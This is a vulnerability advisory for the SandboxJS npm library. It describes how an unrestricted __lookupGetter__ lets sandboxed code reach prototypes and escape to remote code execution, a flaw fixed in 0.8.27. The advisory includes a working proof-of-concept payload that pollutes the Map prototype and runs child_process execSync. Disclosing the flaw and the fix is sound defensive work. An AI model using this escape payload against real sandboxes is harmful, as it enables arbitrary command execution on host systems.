EUVD-2026-267311

fkie_cve-2026-25142

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.27, SanboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. This vulnerability is fixed in 0.8.27.

GHSA-9p4w-fq8m-2hp7 — SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

Affected: npm: @nyariv/sandboxjs

### Summary

SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.

### Details

https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398

The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.

### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s();

payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite;

console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ```

### Impact Prototype Pollution -> RCE

Most recent entries from all

EUVD-2026-267311

fkie_cve-2026-25142

GHSA-9p4w-fq8m-2hp7 — SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE